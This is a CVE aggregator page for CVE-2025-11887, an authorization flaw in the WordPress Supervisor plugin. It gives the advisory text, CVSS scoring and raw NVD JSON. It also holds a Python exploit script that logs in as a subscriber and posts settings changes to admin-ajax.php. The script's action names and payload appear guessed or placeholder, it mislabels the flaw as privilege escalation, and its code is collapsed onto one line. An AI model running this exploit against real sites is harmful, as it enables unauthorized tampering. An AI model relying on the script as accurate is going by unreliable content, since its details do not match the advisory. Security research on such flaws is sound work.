Security Vulnerability Report
中文
CVE-2025-11887 CVSS 4.3 MEDIUM

CVE-2025-11887

Published: 2025-10-24 09:15:43
Last Modified: 2026-04-15 00:35:42

Description

The Supervisor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several AJAX functions in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update various plugin settings.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Supervisor插件 <= 1.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11887 PoC - WordPress Supervisor Plugin Authenticated Privilege Escalation # Target: WordPress site with Supervisor plugin <= 1.3.2 # Authentication: Requires subscriber-level account or higher TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_wpnonce(login_session): """Extract nonce from WordPress admin page for AJAX requests""" resp = login_session.get(f"{TARGET_URL}/wp-admin/admin.php?page=supervisor") import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', resp.text) if nonce_match: return nonce_match.group(1) # Fallback: try to get nonce from AJAX API return "" def exploit_supervisor_privilege_escalation(): """ Exploit missing capability checks in Supervisor plugin AJAX functions. This PoC demonstrates how a subscriber-level user can modify plugin settings. """ session = requests.Session() # Step 1: Authenticate with WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } resp = session.post(f"{TARGET_URL}/wp-login.php", data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed") return False print("[+] Successfully authenticated as subscriber") # Step 2: Get valid nonce for AJAX requests nonce = get_wpnonce(session) if not nonce: print("[-] Failed to obtain valid nonce") # Try direct exploitation without nonce (some endpoints may not require it) # Step 3: Exploit missing authorization in AJAX handlers ajax_endpoints = [ 'supervisor_update_settings', 'supervisor_save_config', 'supervisor_modify_options' ] for endpoint in ajax_endpoints: exploit_data = { 'action': endpoint, 'nonce': nonce, 'settings': '{"malicious_config": true}', '_wp_http_referer': f"{TARGET_URL}/wp-admin/admin.php?page=supervisor" } resp = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data, headers={'X-Requested-With': 'XMLHttpRequest'} ) if resp.status_code == 200: print(f"[+] Sent exploit request to {endpoint}") print(f" Response: {resp.text[:200]}") print("[*] Exploitation complete - check plugin settings for unauthorized changes") return True if __name__ == "__main__": exploit_supervisor_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11887", "sourceIdentifier": "[email protected]", "published": "2025-10-24T09:15:43.080", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Supervisor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several AJAX functions in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update various plugin settings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3383178%40supervisor&new=3383178%40supervisor&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d3e2880-bb86-4263-9ed4-25a9769890e4?source=cve", "source": "[email protected]"}]}}